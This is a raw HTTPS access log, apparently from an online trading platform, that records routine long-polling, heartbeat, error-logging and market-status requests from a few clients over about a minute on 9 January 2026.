[09/Jan/2026:09:47:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923534589 HTTP/1.1" -
[09/Jan/2026:09:47:31 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923520037 HTTP/1.1" -
[09/Jan/2026:09:47:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923520847 HTTP/1.1" -
[09/Jan/2026:09:47:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923521295 HTTP/1.1" -
[09/Jan/2026:09:47:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923524379 HTTP/1.1" -
[09/Jan/2026:09:47:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923523047 HTTP/1.1" -
[09/Jan/2026:09:47:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:35 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923539657 HTTP/1.1" -
[09/Jan/2026:09:47:36 +0800] 223.122.117.53 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/M4613?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923525142 HTTP/1.1" -
[09/Jan/2026:09:47:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923525868 HTTP/1.1" -
[09/Jan/2026:09:47:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923529455 HTTP/1.1" -
[09/Jan/2026:09:47:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923527297 HTTP/1.1" -
[09/Jan/2026:09:47:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923529055 HTTP/1.1" -
[09/Jan/2026:09:47:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923544717 HTTP/1.1" -
[09/Jan/2026:09:47:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923530910 HTTP/1.1" -
[09/Jan/2026:09:47:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923534513 HTTP/1.1" -
[09/Jan/2026:09:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:47:44 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923533303 HTTP/1.1" -
[09/Jan/2026:09:47:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923549781 HTTP/1.1" -
[09/Jan/2026:09:47:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923535060 HTTP/1.1" -
[09/Jan/2026:09:47:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923535951 HTTP/1.1" -
[09/Jan/2026:09:47:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923539699 HTTP/1.1" -
[09/Jan/2026:09:47:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923539300 HTTP/1.1" -
[09/Jan/2026:09:47:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923554806 HTTP/1.1" -
[09/Jan/2026:09:47:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923540972 HTTP/1.1" -
[09/Jan/2026:09:47:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923541061 HTTP/1.1" -
[09/Jan/2026:09:47:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923544824 HTTP/1.1" -
[09/Jan/2026:09:47:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923559845 HTTP/1.1" -
[09/Jan/2026:09:47:56 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923545297 HTTP/1.1" -
[09/Jan/2026:09:47:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923546015 HTTP/1.1" -
[09/Jan/2026:09:47:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923549946 HTTP/1.1" -
[09/Jan/2026:09:47:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923547055 HTTP/1.1" -
[09/Jan/2026:09:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923564910 HTTP/1.1" -
[09/Jan/2026:09:48:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923551046 HTTP/1.1" -
[09/Jan/2026:09:48:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923551295 HTTP/1.1" -
[09/Jan/2026:09:48:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923555097 HTTP/1.1" -
[09/Jan/2026:09:48:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923553056 HTTP/1.1" -
[09/Jan/2026:09:48:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923570231 HTTP/1.1" -
[09/Jan/2026:09:48:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923556090 HTTP/1.1" -
[09/Jan/2026:09:48:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923557298 HTTP/1.1" -
[09/Jan/2026:09:48:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923560148 HTTP/1.1" -
[09/Jan/2026:09:48:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923559052 HTTP/1.1" -
[09/Jan/2026:09:48:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923561114 HTTP/1.1" -
[09/Jan/2026:09:48:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923576232 HTTP/1.1" -
[09/Jan/2026:09:48:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923565224 HTTP/1.1" -
[09/Jan/2026:09:48:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:13 +0800] 66.249.68.64 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/privacy.html HTTP/1.1" -
[09/Jan/2026:09:48:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923563294 HTTP/1.1" -
[09/Jan/2026:09:48:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923565058 HTTP/1.1" -
[09/Jan/2026:09:48:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923566165 HTTP/1.1" -
[09/Jan/2026:09:48:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923582226 HTTP/1.1" -
[09/Jan/2026:09:48:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923570368 HTTP/1.1" -
[09/Jan/2026:09:48:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923569298 HTTP/1.1" -
[09/Jan/2026:09:48:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923571046 HTTP/1.1" -
[09/Jan/2026:09:48:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923571231 HTTP/1.1" -
[09/Jan/2026:09:48:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923575490 HTTP/1.1" -
[09/Jan/2026:09:48:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923588223 HTTP/1.1" -
[09/Jan/2026:09:48:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923575299 HTTP/1.1" -
[09/Jan/2026:09:48:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923576279 HTTP/1.1" -
[09/Jan/2026:09:48:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923577057 HTTP/1.1" -
[09/Jan/2026:09:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923580647 HTTP/1.1" -
[09/Jan/2026:09:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
